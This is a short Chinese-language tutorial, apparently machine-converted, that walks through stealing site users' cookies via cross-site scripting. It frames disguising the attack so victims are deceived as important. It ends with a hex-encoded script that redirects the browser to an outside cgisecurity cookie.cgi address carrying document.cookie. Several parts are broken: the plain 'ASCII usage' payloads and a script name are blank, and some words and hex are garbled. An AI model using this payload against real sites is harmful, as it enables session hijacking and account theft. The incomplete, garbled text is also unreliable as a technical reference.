根據作為攻擊物件的Web程式，下面某些變數和插入位置可能需要進行調整。要注意這只是攻擊方法的一個例子。在這個例子中，我們將利用指令碼“”中的 “viriable”變數中的跨站指令碼漏洞，通過正常請求進行攻擊。這是跨站指令碼攻擊最常見的形式。
第一步: 鎖定目標
當你找到某個Web程式存在XSS漏洞之後，檢查一下它是否設定了cookie。如果在該網站的任何地方設定了cookie，那麼就可以從使用者那裡盜取它。
第二步: 測試
不同的攻擊方式將產生不同的XSS漏洞，所以應適當進行測試以使得輸出結果看起來像是正常的。某些惡意指令碼插入之後會破壞輸出的頁面。(為欺騙使用者，輸出結果非常重要，因此攻擊者有必要調整攻擊程式碼使輸出看起來正常。)
下一步你需要在連結至包含XSS漏洞的頁面的`URL中插入 Javascript(或其他客戶端指令碼)。下面列出了一些經常用於測試XSS漏洞的連結。當用戶點選這些連結時，使用者的cookie獎被髮送到 並被顯示。如果你看到顯示結果中包含了cookie資訊，說明可能可以劫持該使用者的賬戶。
盜取Cookie的Javascript示例。使用方法如下。
ASCII用法
http://host/
十六進位制用法
http://host/
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每種用法都先寫為ASCII，再寫成十六進位制以便複製貼上。